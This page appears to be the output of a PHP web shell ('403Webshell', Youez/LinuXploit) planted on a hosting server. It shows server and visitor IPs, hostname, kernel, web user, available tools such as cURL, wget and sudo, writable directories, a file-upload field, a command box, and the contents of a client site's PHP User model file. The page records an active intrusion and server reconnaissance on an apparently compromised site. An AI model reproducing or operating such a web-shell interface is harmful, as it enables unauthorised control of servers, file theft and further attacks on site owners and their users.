403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/c.pacim.de/web/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/c.pacim.de/web/app/Models/User.php
<?php

declare(strict_types=1);

namespace App\Models;

use App\Database;
use PDO;

final class User
{
    private PDO $db;

    public function __construct()
    {
        $this->db = Database::connection();
    }

    public function list(): array
    {
        $stmt = $this->db->query('SELECT id, name, email, role, active, created_at FROM users ORDER BY id DESC');
        return $stmt->fetchAll();
    }

    public function save(array $data): bool
    {
        if (!empty($data['id'])) {
            $sql = 'UPDATE users SET name=:name, email=:email, role=:role, active=:active WHERE id=:id';
            return $this->db->prepare($sql)->execute([
                'id' => (int) $data['id'],
                'name' => $data['name'],
                'email' => $data['email'],
                'role' => $data['role'],
                'active' => (int) ($data['active'] ?? 1),
            ]);
        }

        $sql = 'INSERT INTO users (name, email, role, active, created_at) VALUES (:name, :email, :role, :active, NOW())';
        return $this->db->prepare($sql)->execute([
            'name' => $data['name'],
            'email' => $data['email'],
            'role' => $data['role'],
            'active' => (int) ($data['active'] ?? 1),
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit